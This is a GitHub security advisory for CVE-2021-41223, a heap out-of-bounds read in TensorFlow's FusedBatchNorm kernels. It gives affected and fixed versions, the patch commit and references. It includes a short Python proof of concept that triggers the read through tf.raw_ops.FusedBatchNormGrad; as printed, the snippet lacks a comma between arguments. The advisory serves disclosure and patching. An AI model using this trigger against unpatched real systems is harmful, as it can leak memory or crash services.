GitHub Advisoryadvisory · PyPI
GHSA-f54p-f6jp-4rhr Heap OOB in `FusedBatchNorm` kernels
MEDIUM
Official page ↗
- Aliases
- CVE-2021-41223
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
- Weaknesses
- CWE-125
- Reviewed
- 2021-11-08
Affected packages
• PyPI tensorflow: >= 2.6.0, < 2.6.1 → fixed in 2.6.1
• PyPI tensorflow: >= 2.5.0, < 2.5.2 → fixed in 2.5.2
• PyPI tensorflow: < 2.4.4 → fixed in 2.4.4
• PyPI tensorflow-cpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1
• PyPI tensorflow-cpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2
• PyPI tensorflow-cpu: < 2.4.4 → fixed in 2.4.4
• PyPI tensorflow-gpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1
• PyPI tensorflow-gpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2
• PyPI tensorflow-gpu: < 2.4.4 → fixed in 2.4.4
Description
Impact
The implementation of `FusedBatchNorm` kernels is vulnerable to a heap OOB:
```python
import tensorflow as tf
tf.raw_ops.FusedBatchNormGrad(
y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)
x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)
scale=[1,1],
reserve_space_1=[1,1],
reserve_space_2=[1,1,1],
epsilon=1.0,
data_format='NCHW',
is_training=True)
```
Patches
We have patched the issue in GitHub commit aab9998916c2ffbd8f0592059fad352622f89cda.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Related
Alias · CVE (1)
- CVE-2021-41223 TensorFlow is an open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-125 Out-of-bounds Read weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f54p-f6jp-4rhr web
- https://nvd.nist.gov/vuln/detail/CVE-2021-41223 advisory
- https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-632.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-830.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-415.yaml web
- https://github.com/tensorflow/tensorflow package